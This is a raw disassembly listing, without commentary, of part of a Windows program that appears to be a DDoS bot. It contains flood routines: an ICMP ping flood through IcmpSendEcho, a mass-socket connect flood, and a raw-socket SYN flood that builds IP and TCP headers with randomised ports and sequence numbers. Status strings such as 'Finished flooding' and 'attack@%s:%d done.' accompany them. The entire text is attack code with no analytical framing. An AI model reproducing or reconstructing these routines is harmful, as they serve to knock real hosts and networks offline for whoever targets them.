		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+79h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0EC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4277B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427850	proc near		; CODE XREF: sub_4014CEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427850
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F0EC
		lea	ecx, [esi+79h]
		mov	[esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427850	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427910:				; CODE XREF: ___:loc_4016DBj
					; ___:0040219Ej
		push	esi
		mov	esi, ecx
		call	sub_4014CE
		test	byte ptr [esp+8], 1
		jz	short loc_427928
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427928:				; CODE XREF: ___:0042791Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427940	proc near		; CODE XREF: sub_4011FEj ___:0040209Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4020AE
		test	[esp+4+arg_0], 1
		jz	short loc_427958
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427958:				; CODE XREF: sub_427940+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427940	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427970	proc near		; CODE XREF: sub_4020AEj
		jmp	sub_4014CE
sub_427970	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427990	proc near		; CODE XREF: sub_401A50j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427990
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	edx, [esi+54h]
		mov	eax, [esi+60h]
		mov	ecx, [esi+5Ch]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_40183E
		add	esp, 10h
		test	eax, eax
		jz	short loc_427A54
		mov	edx, [esi+5Ch]
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aSFinishedFlood ; "[%s] Finished	flooding %s %d Times"
		push	eax
		call	sub_40102D
		add	esp, 14h
		jmp	short loc_427A6E
; ---------------------------------------------------------------------------


loc_427A54:				; CODE XREF: sub_427990+9Aj
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+38h+var_24]
		push	offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch


loc_427A6E:				; CODE XREF: sub_427990+C2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	dl, [esi+90h]
		push	eax
		mov	al, [esi+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_427990	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427B10	proc near		; CODE XREF: sub_401E9Cj

var_1A		= byte ptr -1Ah
var_18		= byte ptr -18h
arg_0		= byte ptr  4
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFFCh
		call	sub_437B30
		push	esi
		push	edi
		push	offset aIcmp_dll ; "ICMP.DLL"
		nop
		call	near ptr 2800886h
		mov	esi, eax
		test	esi, esi
		jz	short loc_427B7A
		mov	edi, dword_511918
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	esi
		call	edi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	esi
		mov	dword_51011C, eax
		call	edi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	esi
		mov	dword_510120, eax
		call	edi
		mov	ecx, dword_51011C
		mov	dword_510118, eax
		test	ecx, ecx
		jz	short loc_427B7A
		mov	edx, dword_510120
		test	edx, edx
		jz	short loc_427B7A
		test	eax, eax
		jz	short loc_427B7A
		mov	al, [esp+0Bh]
		test	al, al
		jz	short loc_427B85


loc_427B7A:				; CODE XREF: sub_427B10+1Bj
					; sub_427B10+52j ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0FFFCh
		retn
; ---------------------------------------------------------------------------


loc_427B85:				; CODE XREF: sub_427B10+68j
		mov	edx, [esp+24h+arg_FFE8]
		mov	eax, 0FFDCh
		cmp	edx, eax
		jle	short loc_427B9C
		mov	[esp+24h+arg_FFE8], eax


loc_427B9C:				; CODE XREF: sub_427B10+83j
		push	ebx
		push	ebp
		mov	ebp, [esp+2Ch+arg_FFEC]
		cmp	ebp, 1
		jge	short loc_427BAF
		mov	ebp, 1


loc_427BAF:				; CODE XREF: sub_427B10+98j
		call	ecx	; IcmpCreateFile
		mov	ebx, [esp+2Ch+arg_FFE4]
		xor	esi, esi
		test	ebx, ebx
		mov	edi, eax
		jle	short loc_427BF4


loc_427BC0:				; CODE XREF: sub_427B10+E2j
		mov	al, byte_4D84B9
		test	al, al
		jz	short loc_427BF4
		mov	ecx, [esp+2Ch+arg_FFE8]
		push	ebp
		lea	eax, [esp+30h+var_18]
		push	1Ch
		push	eax
		mov	eax, [esp+38h+arg_FFE0]
		push	0
		lea	edx, [esp+3Ch+arg_0]
		push	ecx
		push	edx
		push	eax
		push	edi
		call	dword_510118	; IcmpSendEcho
		inc	esi
		cmp	esi, ebx
		jl	short loc_427BC0


loc_427BF4:				; CODE XREF: sub_427B10+AEj
					; sub_427B10+B7j
		push	edi
		call	dword_510120	; IcmpCloseHandle
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0FFFCh
		retn
sub_427B10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427C50	proc near		; CODE XREF: sub_40183Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40188E
		mov	ecx, [esp+4+arg_C]
		mov	edx, [esp+4+arg_8]
		push	ecx
		mov	ecx, [esp+8+arg_4]
		push	edx
		push	ecx
		push	eax
		call	sub_401E9C
		add	esp, 14h
		retn
sub_427C50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427C90	proc near		; CODE XREF: sub_401BDBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427C90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aForsyn	; "forsyn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	nullsub_10
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427C90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427D00:				; CODE XREF: ___:00401A28j
					; ___:00401AC3j
		push	esi
		mov	esi, ecx
		call	sub_401807
		test	byte ptr [esp+8], 1
		jz	short loc_427D18
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427D18:				; CODE XREF: ___:00427D0Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427D30	proc near		; CODE XREF: sub_401807j
		jmp	sub_4014CE
sub_427D30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427D50	proc near		; CODE XREF: sub_401366j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427D50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, ecx
		xor	eax, eax
		mov	ecx, offset byte_4E7D8F
		mov	[esp+2Ch+var_28], eax


loc_427D76:				; CODE XREF: sub_427D50+35j
		cmp	dword ptr [ecx], 0
		jz	short loc_427D87
		add	ecx, 78h
		inc	eax
		cmp	ecx, offset byte_4E86EF
		jl	short loc_427D76


loc_427D87:				; CODE XREF: sub_427D50+29j
		cmp	eax, 13h
		mov	[esp+2Ch+var_28], eax
		jg	loc_427F39
		lea	eax, [eax+eax*2]
		push	ebp
		push	esi
		push	edi
		lea	eax, [eax+eax*4]
		lea	ecx, [ebx+3Bh]
		lea	ebp, ds:4E7D1Bh[eax*8]
		call	sub_4017EE
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	cx, [ebx+58h]
		push	ecx
		nop
		call	near ptr 71AB2B66h
		and	eax, 0FFFFh
		mov	[ebp+64h], eax
		mov	eax, [ebx+54h]
		cmp	eax, 5
		mov	[ebp+68h], eax
		jge	short loc_427DF0
		mov	dword ptr [ebp+68h], 5


loc_427DF0:				; CODE XREF: sub_427D50+97j
		mov	edx, [ebx+50h]
		mov	ecx, 80h
		xor	eax, eax
		mov	edi, offset dword_510128
		mov	[ebp+6Ch], edx
		lea	esi, [ebx+11h]
		rep stosd
		mov	eax, [ebx+50h]
		mov	ecx, [ebx+58h]
		push	eax
		push	ecx
		lea	ecx, [ebx+3Bh]
		lea	edi, [ebx+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		mov	ecx, [esp+50h+var_1C]
		add	esp, 24h
		push	offset dword_510328
		push	0
		push	ecx
		push	offset sub_4012C1
		push	0
		push	0
		nop
		call	near ptr 27B0000h
		test	eax, eax
		mov	dword_51032C, eax
		jz	short loc_427E8B
		push	offset dword_448F34
		push	5
		push	eax
		push	0
		push	offset dword_510128
		call	sub_4013F2
		add	esp, 14h
		mov	[ebp+70h], eax
		jmp	short loc_427EBB
; ---------------------------------------------------------------------------


loc_427E8B:				; CODE XREF: sub_427D50+11Dj
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSErrorCreating ; "%s: error creating threads"
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_427EBB:				; CODE XREF: sub_427D50+139j
		lea	ecx, [esp+38h+var_24]
		call	sub_40142E
		mov	ecx, [ebx+58h]
		mov	[esp+38h+var_4], 0
		push	ecx
		lea	ecx, [ebx+3Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	edx, [esp+44h+var_24]
		push	offset aSAttack@SDDone ; "%s: attack@%s:%d done."
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+38h+var_24]
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [ebx+8Fh]
		push	eax
		mov	al, [ebx+90h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp


loc_427F39:				; CODE XREF: sub_427D50+3Ej
		mov	ecx, [esp+2Ch+var_C]
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_427D50	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427FD0	proc near		; CODE XREF: sub_4012C1j

var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= byte ptr -320h
arg_0		= dword	ptr  4

		sub	esp, 338h
		mov	eax, [esp+338h+arg_0]
		push	ebp
		push	esi
		mov	esi, 1
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ebp, ds:4E7D1Bh[eax*8]
		xor	eax, eax
		mov	[esp+340h+var_334], eax
		mov	word ptr [esp+340h+var_334], 2
		mov	[ebp+74h], esi
		mov	cx, [ebp+64h]
		mov	[esp+340h+var_330], eax
		push	ecx
		mov	[esp+344h+var_32C], eax
		mov	[esp+344h+var_328], eax
		nop
		call	near ptr 71AB2B66h
		push	ebp
		mov	[esp+344h+var_324], esi
		mov	word ptr [esp+344h+var_334+2], ax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428066
		push	ebp
		nop
		call	near ptr 71AB4FD4h
		xor	edx, edx
		cmp	eax, edx
		jnz	short loc_42805F
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	esi
		pop	ebp
		lea	eax, [ecx+ecx*4]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D8735[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
; ---------------------------------------------------------------------------


loc_42805F:				; CODE XREF: sub_427FD0+68j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_428066:				; CODE XREF: sub_427FD0+5Bj
		mov	[esp+340h+var_330], eax
		mov	eax, [ebp+6Ch]
		push	ebx
		push	edi
		test	eax, eax
		mov	[esp+348h+var_338], 0
		jle	loc_428116
		mov	ebx, dword_511C3C


loc_428085:				; CODE XREF: sub_427FD0+140j
		mov	al, byte_4D84B9
		test	al, al
		jz	loc_428116
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_42809B:				; CODE XREF: sub_427FD0+EFj
		push	0
		push	1
		push	2
		call	ebx	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4280BB
		lea	ecx, [esp+348h+var_324]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB4519h


loc_4280BB:				; CODE XREF: sub_427FD0+D8j
		add	esi, 4
		dec	edi
		jnz	short loc_42809B
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_4280CA:				; CODE XREF: sub_427FD0+10Ej
		mov	eax, [esi]
		lea	edx, [esp+348h+var_334]
		push	10h
		push	edx
		push	eax
		call	near ptr 71AB406Ah
		nop
		add	esi, 4
		dec	edi
		jnz	short loc_4280CA
		mov	ecx, [ebp+68h]
		push	ecx
		nop
		call	near ptr 28502B8h
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_4280F3:				; CODE XREF: sub_427FD0+130j
		mov	edx, [esi]
		push	edx
		call	near ptr 71AB9639h
		nop
		add	esi, 4
		dec	edi
		jnz	short loc_4280F3
		mov	eax, [esp+348h+var_338]
		mov	ecx, [ebp+6Ch]
		inc	eax
		cmp	eax, ecx
		mov	[esp+348h+var_338], eax
		jl	loc_428085


loc_428116:				; CODE XREF: sub_427FD0+A9j
					; sub_427FD0+BCj
		xor	edx, edx
		pop	edi
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	ebx
		pop	esi
		lea	eax, [ecx+ecx*4]
		pop	ebp
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D8735[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
sub_427FD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4281A0	proc near		; CODE XREF: sub_401DF2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4281A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aSyn	; "syn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F10C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4281A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428210	proc near		; CODE XREF: ___:004016E5j sub_40182Aj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4010FF
		test	[esp+4+arg_0], 1
		jz	short loc_428228
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428228:				; CODE XREF: sub_428210+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_428210	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428240	proc near		; CODE XREF: sub_4010FFj
		jmp	sub_4014CE
sub_428240	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_428260	proc near		; CODE XREF: sub_401EB0j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428260
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+50h]
		mov	edx, [esi+58h]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUUsecDms ; "%s: %s:%u	(%usec/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	edx, [esi+54h]
		mov	eax, [esi+50h]
		mov	ecx, [esi+58h]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_401DCF
sub_428260	endp

; ---------------------------------------------------------------------------
		cdq
		and	edx, 3FFh
		add	esp, 10h
		add	eax, edx
		mov	ecx, edi
		sar	eax, 0Ah
		cdq
		idiv	dword ptr [esi+50h]
		mov	edx, [esi+58h]
		push	eax
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+20h]
		push	offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		mov	dword ptr [esp+30h], 0FFFFFFFFh
		lea	ecx, [esp+10h]
		call	sub_401226
		mov	ecx, [esp+28h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4283D0	proc near		; CODE XREF: sub_401BC7j

var_95		= byte ptr -95h
var_8C		= dword	ptr -8Ch
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh

		sub	esp, 98h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0Eh
		xor	eax, eax
		lea	edi, [esp+0A8h+var_3B]
		mov	[esp+0A8h+var_3C], 0
		rep stosd
		stosw
		xor	esi, esi
		push	0FFh
		push	esi
		mov	[esp+0B0h+var_8C], esi
		stosb
		mov	[esp+0B0h+var_95], 0
		call	sub_4021C6
sub_4283D0	endp

; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+24h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+2Dh], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+36h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 20h
		cmp	[esp+0B4h], si
		mov	[esp+17h], al
		jnz	short loc_428461
		push	2710h
		push	3E8h
		mov	byte ptr [esp+1Bh], 1
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_428461:				; CODE XREF: ___:00428441j
		push	1
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		mov	dword ptr [esp+64h], 1
		nop
		call	near ptr 71AB8769h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[esp+18h], edi
		jnz	short loc_428494
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_428494:				; CODE XREF: ___:00428485j
		lea	eax, [esp+4Ch]
		push	4
		push	eax
		push	2
		push	esi
		push	edi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4284B7


loc_4284AA:				; CODE XREF: ___:0042865Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4284B7:				; CODE XREF: ___:004284A8j
		mov	ecx, [esp+0B4h]
		mov	ebp, dword_511C38
		push	ecx
		mov	word ptr [esp+60h], 2
		call	ebp	; ntohs
		mov	ebx, [esp+0ACh]
		push	28h
		mov	[esp+62h], ax
		mov	[esp+64h], ebx
		mov	byte ptr [esp+24h], 45h
		call	ebp	; ntohs
		push	4000h
		mov	[esp+26h], ax
		mov	word ptr [esp+28h], 1
		mov	[esp+2Ah], si
		mov	byte ptr [esp+2Ch], 80h
		mov	byte ptr [esp+2Dh], 6
		mov	[esp+2Eh], si
		mov	[esp+34h], ebx
		mov	byte ptr [esp+44h], 50h
		mov	byte ptr [esp+45h], 2
		call	ebp	; ntohs
		mov	[esp+42h], ax
		mov	[esp+46h], si
		mov	[esp+3Ch], esi
		nop
		call	near ptr 2800BE7h
		mov	[esp+48h], eax
		mov	al, byte_4D84B9
		test	al, al
		jz	loc_42870B
		mov	ebx, dword_511AC8
		mov	byte ptr [esp+58h], 0
		mov	byte ptr [esp+59h], 6
		jmp	short loc_428555
; ---------------------------------------------------------------------------
		xor	esi, esi


loc_428555:				; CODE XREF: ___:00428551j
		mov	edi, [esp+1Ch]
		mov	edx, [esp+0B4h]
		inc	edi
		push	edx
		mov	[esp+20h], edi
		mov	[esp+48h], si
		call	ebp	; ntohs
		push	14h
		mov	[esp+3Ah], ax
		call	ebp	; ntohs
		mov	[esp+5Ah], ax
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	esi, eax
		mov	[esp+2Ch], esi
		call	ebx	; rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ebp	; ntohs
		mov	[esp+34h], ax
		call	ebx	; rand
		mov	edi, eax
		shl	edi, 10h
		call	ebx	; rand
		or	edi, eax
		push	edi
		call	ebp	; ntohs
		mov	edx, [esp+0ACh]
		and	eax, 0FFFFh
		mov	[esp+38h], eax
		mov	eax, [esp+58h]
		mov	[esp+6Ch], esi
		mov	ecx, 5
		lea	esi, [esp+34h]
		lea	edi, [esp+78h]
		mov	[esp+70h], edx
		mov	[esp+74h], eax
		rep movsd
		lea	ecx, [esp+6Ch]
		push	20h
		push	ecx
		call	sub_401A37
		mov	ecx, 5
		lea	esi, [esp+28h]
		lea	edi, [esp+74h]
		lea	edx, [esp+74h]
		rep movsd
		mov	ecx, 5
		lea	esi, [esp+3Ch]
		lea	edi, [esp+88h]
		mov	[esp+4Ch], ax
		push	28h
		push	edx
		rep movsd
		mov	dword ptr [esp+0A4h], 0
		call	sub_401A37
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[esp+2Ah], ax
		mov	ecx, 5
		lea	esi, [esp+20h]
		lea	edi, [esp+6Ch]
		lea	eax, [esp+5Ch]
		push	10h
		rep movsd
		push	eax
		push	0
		lea	ecx, [esp+78h]
		push	28h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB2C69h
		cmp	eax, 0FFFFFFFFh
		jz	loc_4284AA
		nop
		call	near ptr 2800BE7h
		mov	edx, [esp+48h]
		mov	ecx, eax
		sub	ecx, edx
		mov	eax, 10624DD3h
		mul	ecx
		mov	eax, [esp+0B8h]
		shr	edx, 6
		cmp	edx, eax
		ja	short loc_428707
		mov	al, [esp+13h]
		test	al, al
		jz	short loc_4286A9
		push	2710h
		push	3E8h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_4286A9:				; CODE XREF: ___:0042868Ej
		push	0FFh
		push	0
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+24h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+2Dh], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+36h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		db 8Bh,	94h, 24h
		dd 0DCh, 8820C483h, 52172444h, 7BBEE890h, 0B9A00242h, 84004D84h
		dd 4C850FC0h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_428707:				; CODE XREF: ___:00428686j
		mov	edi, [esp+18h]


loc_42870B:				; CODE XREF: ___:0042853Bj
		push	edi
		nop
		call	near ptr 71AB9639h
		mov	eax, [esp+1Ch]
		pop	edi
		pop	esi
